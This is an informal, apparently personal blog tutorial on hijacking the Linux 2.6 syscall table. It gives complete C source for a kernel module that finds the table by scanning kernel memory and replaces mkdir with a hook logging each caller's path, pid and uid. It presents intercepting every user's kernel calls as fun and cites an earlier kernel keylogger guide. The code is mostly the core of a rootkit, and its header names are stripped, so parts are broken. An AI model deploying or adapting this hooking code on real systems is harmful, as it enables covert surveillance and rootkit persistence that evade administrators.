Attention: open in a new window. PDFPrint

How To: Hijacking the syscall table on latest 2.6.x kernel systems

Well. Some days ago I just wrote a simple how to describing how you could easily add a simple keylogger to the keyboard event chain within the kernal as a module. Now, hooking into the keyboard driver is one thing but there are several other ways to get out valuable information from a system or even modify basic operations to force the system doing some unexpected things. One way to archive this is hijacking the sys_call_table containing all important operations you might perform within userspace that need to be executed by the kernel like: creating, deleting, moving, editing, reading files, forking, executing applications, etc...

All theese operations are handled within the kernel. The operations are knows as sys_calls or kernel_calls and are executed using the software interrupt 0x80 (which might be interesting if you are playing around with assembly language within linux which is quite fun ;) ). To handle those syscall the kernel uses the sys_call_table which contains the addresses of all those syscall operations. So, the sys_call_table is just a big array ordered by the number of the syscall. In assembly this means something like this:

xor ebx,ebx
mov eax,1
int 0x80

The above snippet of an assembly language application loads the number of the sys_exit-call into the eax register and 0 as its parameter into the ebx register. This syscall tells the system that the application wants to terminate and the kernel will remove the application from the process list, free all its allocated memory sections and return the result value 0 to the parent process. So, what does the interrupt handler for 0x80 do?

The interrupt will just take the address of the sys_call_table and use the number of the syscall as an index to look up the address of the operation to call. Afterwards it will just call the method found. Now, think about the ability to change the addresses of the operations within the sys_call_table to own operations. This grants you access to every kernel-call that any user on the system performs and allows logging or redirecting those calls, which is quite fun ;)

So biggest obstacle to overcome before we could start to hook own operations into the table is that we have to find it within the kernel memory. Older kernel versions exported the sys_call_table as an external which means that you just could use the global variable to access it. This was changed during the early 2.6.x kernel versions and I think that this has been changed for security purpose as it locks out quite many rootkits for a short time. This does not change the fact that there is a sys_call_table somewhere withing the kernel memory we just need to find. My first attempt was using the short funtion published by the phrack-magazine to use the interrupt vector of the 0x80 system-call to determine the address of the table by reading the operations machine code itself. This did not work for me as the memory locations containing the code of the interrupt as well as the interrupt vector table was inaccessible. I thing that someone changed something about the memory permissions which makes the locations unavailable while the CPU is in user-mode which is quite a secure model as switching to supervisor mode is only possible within interrupt operations which are not accessible from user-mode due the blocked memory regions. I did not perform any further research on this and it is only an assumption on what I have noticed.

Luckily a friend of mine helped me out before I started to find myself an other way to find the sys_call_table within the memory by sending me a this link: http://subversity.net/finding-the-linux-system-call-table-in-26-ser?c=1. The idea of this article is just scanning for the first occurance of the pointer to one of the syscall operations (in the example sys_close) within the memory by scanning a very large region (on my system about 7 MB of ram) of the kernel.  In the first place I did not really beleave that this might work as reading a blocked memory location would instantly kill the module but this somwhat brute force method turned out to work quite well. And the best of it: it works on x86_64 systems as good as on i386 kernels. So, how about a fully working example of a kernel module hooking into the mkdir operation? Here it is:

#include 
#include

#include
#include
#include
#include

#include

MODULE_LICENSE("GPL");

void **syscall_table;

// -----------------------------------------------------------------------------
// Sys Call Table Address
//-----------------------------------------------------------------------------
unsigned long **find_sys_call_table(void) {
unsigned long **sctable;
unsigned long ptr;

sctable = NULL;
for ( ptr = (unsigned long)&_unlock_kernel;
ptr < (unsigned long)&loops_per_jiffy;
ptr += sizeof(void *)) {
unsigned long *p;
p = (unsigned long *)ptr;
if (p[__NR_close] == (unsigned long) sys_close) {
sctable = (unsigned long **)p;
return &sctable[0];
}
}
return NULL;
}

long (*getuid)(void);
long (*old_mkdir)(const char __user *pathname, int mode);
long my_mkdir(const char __user *pathname, int mode) {
uid_t uid;
uid = getuid();

printk(KERN_DEBUG "mkdir %s by pid %i and uid %i\n", pathname, current->pid, uid);
old_mkdir(pathname, mode);
}

static int syscall_init(void)
{
syscall_table = find_sys_call_table();
if (!syscall_table)
{
printk(KERN_ERR "Cannot find the system call address\n");
return -1; // do not load
}

old_mkdir = syscall_table[__NR_mkdir];
getuid = syscall_table[__NR_getuid];
syscall_table[__NR_mkdir] = my_mkdir;

return 0;
}

static int syscall_release(void)
{
syscall_table[__NR_mkdir] = old_mkdir;

return 0;
}

module_init(syscall_init);
module_exit(syscall_release);

So, what does this do? The syscall_init method called on module loading obtails the address of the sys_call_table using the find_sys_call_table method, so let's take a short look at it:

The table just obtails a pointer to the address of the _unlock_kernel-operation and loops till the address of the loops_per_jiffy operation is found (worst case if the method could not find a syscall table). Within the loop, the method checkt, if the __NR_close index of the current pointer points to sys_close which would be the case if we just found the sys_call_table. To ensure that you found the right location you could check some other syscall-methods as well but in my case there was no need to do it.

Using the syscall table is very simple after you just found it. Just store the old method somewhere (old_mkdir) and overwrite it with an own function of the same signature (my_mkdir). On module unloading you should clean up the syscall table and reset it to its original values as you would crash your system otherwise.

The signatures of all syscall functions can be found in the include linux/syscalls.h. The example has been tested on a 2.6.34 kernel.

Hav' phun.!